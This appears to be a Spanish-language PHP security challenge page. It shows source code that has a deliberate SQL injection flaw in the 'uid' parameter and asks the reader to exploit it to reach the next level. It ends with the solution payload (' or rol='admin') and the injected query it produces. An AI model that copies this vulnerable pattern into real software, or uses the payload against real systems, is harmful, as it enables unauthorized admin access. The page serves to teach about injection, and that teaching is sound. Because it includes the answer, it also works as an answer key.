PHP - Error de inyección de SQL

A continuación verá el código fuente de esta página

Éste contiene una inyección SQL. Aproveche esta vulnerabilidad para avanzar a la siguiente pregunta

<?php

if ( isset($_GET['uid']) ) {

    $user_id    = $_GET['uid'];

    $query      = "SELECT * FROM usuarios WHERE id = $user_id LIMIT 1";

    $result     = mysql_query($query) or die('No!');

    $row        = mysql_fetch_array($result);

    if ( $row['rol'] == 'admin' ) {

        advance_level();

    }

}

if ( isset($_GET['nombre']) ) {

    $nombre = strip_tags($_GET['nombre']);

    echo "<h1>Hola $nombre</h1>";

}

?>

<h1>A continuación verá el código fuente de esta página</h1>

<p>Éste contiene una inyección SQL.  Aproveche esta vulnerabilidad para avanzar a la siguiente pregunta</p>

<pre>

    <code>

        <?php echo file_get_contents(__FILE__); ?>

    </code>

</pre>

$user_id = "'' or rol='admin' ";

$query = "SELECT * FROM usuarios WHERE id = $user_id LIMIT 1";

// SELECT * FROM usuarios WHERE id = '' or rol='admin'  LIMIT 1